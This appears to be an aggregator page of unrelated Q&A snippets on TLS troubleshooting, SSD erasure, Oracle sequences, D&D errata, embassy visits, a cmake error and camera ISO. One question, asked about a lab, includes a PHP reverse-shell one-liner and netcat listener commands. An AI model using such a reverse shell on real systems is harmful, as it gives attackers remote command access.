tls – Determine if there’s a justified reason to block/cancel an HTTPS request (but not HTTP)

This is troubleshooting to isolate the error by testing each intermediate component.

Generally it looks like this:

Browser -> (local name resolution) -> internet -> dns
Browser -> internet -> server
Browser -> root-certs

First you need to make sure you’re always resolving the same up address.

Make sure all the devices you use have the same root certificate for verification.

Find out if you have a man in the middle intercepting your traffic. Difficult to do and that’s why they have tls and why sites should set hsts. Mitm is common and often leverages a downplay attack. That is convincing your client that the server doesn’t support higher encryption so the client falls back to insecure protocols like http.

Use a vpn like expressvpn or a digital ocean instance with openvpn installed.

Try different devices over the same network to determine if the fault is with your device or the network.

If the fault persists across networks, then it’s the server.

netcat – What is the reason reverse shell is not triggering?

I realize which in two labs I can not make reverse shell,for example:

php -r '$sock=fsockopen("",4242);exec("/bin/sh -i <&3 >&3 2>&3");'

Put my interface in listening with tcpdump, tcpdump -i tun0 port 4242 the request does not coming, but removing port filter tcpdump -i tun0, I can see the request.

Waiting the reverse connection nc -lvpn 4242, with I try a reverse using a localhost, that nc command is trigged and the connection is established.

Anyone can help? hint? Why can not I receive the request in specify port?

If an SSD uses TRIM, is there any reason to destroy it physically to protect one’s data?

If an SSD uses TRIM such as a Mac with TRIM support when it deletes files, I’ve been told that it is completely unrecoverable. Therefore, is it ever really better protection to physically destroy the SSD to protect one’s data?

what is the reason of this weird behaviour of "Sequence"?

I’ve created a sequence like this :

  MAXVALUE 999999999999999999999999999

Both of these two queries show me the number 0:

 select SEQ_TEST2.nextval from DUAL;   
 select SEQ_TEST2.currval from DUAL;

And I have a table as you can see here :

create table STUDENT
  st_id      NUMBER,
  first_name VARCHAR2(150),
  last_name  VARCHAR2(150)

I see 0 for the currval of the sequence after executing this query (even many times):

select t.st_id , nvl(t.st_id , seq_test2.nextval)
from STUDENT t

but as soon as there is a null in st_id column of this query , the nextval value shows me 41 ! and the currval shows 0 !!How is that possible??

does anybody have any idea???

Thanks in advance

What is the reason for limiting the maximum factor by which difficulty can change?

Is there a security reason for limiting the difficult adjustment to a factor of 4?

dnd 3.5e – Is there a reason for Searing Blade to have a standard action as an initiation action?

The Tome of Battle errata never gets as far as searing blade—it starts to correct firesnake (a maneuver in desperate need of errata), but instead of indicating what text you are supposed to add to the maneuver, the file’s contents is overwritten by the errata for Complete Mage. Yes, really. It’s still on Wizards’ web site like that, and it’s still really embarrassing. So the lack of errata here is not particularly meaningful.

Ultimately, boosts are defined as swift actions:

A boost always requires a swift action, usually allowing you to initiate it before unleashing a standard action or a full attack.

(Tome of Battle pg. 42)

And searing blade in particular makes absolutely no sense as a standard action, since it provides a bonus on attacks until the end of your turn. If you used a standard action to turn it on, that would make it apply to precisely zero attacks, since with your standard action down you aren’t going to be making any attacks.¹

So yeah, it should be a swift action. Tome of Battle is a fantastically well designed book, but it is not a terribly well edited book.

  1. Not strictly true, a factotum could and there might be some shenanigans you could do to get someone to provoke you in the middle of your turn, but it’d be very hard and very limited.

embassies – Do I need a serious reason to enter a US Embassy as a US Citizen?

It’s possible that the answer will vary depending on the specific embassy/consulate, but to use the US Consulates in Australia as an example…

No, you can not. Even as a US citizen you are required to make an appointment to visit the consulate for non-emergency services.

As stated on the US Consulates Australian webpage :

To be allowed entry into the U.S. Consulates for routine
(non-emergency) services, you must make an appointment online.

There is seemingly an exception here for emergency services, however I doubt they would classify “I just wanna have a look around!” as an “emergency”.

The appointment system requires you to enter the purpose of your visit, and once again “just lookin'” isn’t on the list.

The equivalent page for Japan has different text, but still states that you must “schedule an appointment”

It’s worth keeping in mind that US consulates have an extremely high level of security, and the answer for other countries consulates/embassy will probably be different. For example, to access a US Consulate in Australia you need to have an appointment, have your bags X-rays, go through a metal detector, and leave all electronics at the security checkpoint. By contrast, to access an Australia consulate in the US you need to ring the doorbell (or at least, that’s been my experience at the Australian Consulate in San Francisco!)

compiling – What is the reason of cmake build error when use freetype2 header?

I build a simple glfw, glad project on vs code successfully. My issue is. I add <freetype2/ft2build.h> header to my project and I do those commands in my project folder:

sudo su
cd build
cmake ..

normally that works without error.

I get error called:

    In file included from /home/gomi/Documents/ubuntuProject/main.c:3:
    /usr/include/freetype2/ft2build.h:39:10: fatal error: freetype/config/ftheader.h: No such file or directory
       39 | #include <freetype/config/ftheader.h>
          |          ^~~~~~~~~~~~~~~~~~~~~~~~~~~~compilation terminated.

I went to usr/include/freetype2 path from terminal.
If I remember correctly I seen only ft2build.h in directory no other config folder.
I downloaded freetype2 files and I copied freetype folder to this directory and I got same error. In the end of I deleted copied freetype folder. I am not sure if they were already there and I damaged freetype2.

What should I do ?

exposure – In situations where you aren’t compelled to pick high ISO (low light/needing a high shutter speed), is there ever a reason to NOT prefer low ISO?

higher ISO when low light/moving subjects/potential camera movement with the lens already wide open conspire to prevent using lower ISO and getting proper exposure.

Given the same amount of exposure, sometimes you may prefer smaller or bigger aperture because you may want high or low depth of field.
Similarly, sometimes you may prefer slow or fast shutter speed, because you may want to freeze the action or you may want the blurred effect.

In case of ISO, is there ever a reason to prefer high ISO to low ISO , all other things being equal? (By all other things being equal, I mean exposure is the same i.e. image is properly exposed. Obviously changing the ISO means you will have to change the other 2 parameters to ensure same exposure.)

To clarify some confusion about what I mean, I will try to give a concrete example.

Let us say, you have 5 images of a well lit subject, shot with different apertures, all properly exposed (through adjusting the other 2 parameters). I can understand that one may choose the lowest aperture or the highest aperture image based on what kind of DOF he wants.

Similarly, if I have five properly exposed images with different shutter speeds, one can choose any of them based on whether they want blurry effect or freeze framed photo.

So, if I have five properly exposed images with different ISO settings, is there any reason one would not go for lowest one (apart from just the artistic/stylistic choice of someone who prefers higher noise in the image)?

My restrictions are deliberately designed to eliminate the situation where you need sufficient exposure and therefore HAVE to use high ISO. That is not what I am asking. I know, in those cases, you HAVE to use high ISO. I am asking about the cases where you do not HAVE to use high ISO.

Also, I found one other great answer by Matt Grum on this site which helped my understanding a lot. Thank you Saaru Lindestøkke for pointing me to that.

What is “ISO” on a digital camera?

The answer is in some places quite contrary to what is the common understanding about ISO settings, but if it is true (and from the huge upvotes in that answer, I assume it is true), then that is a very helpful answer.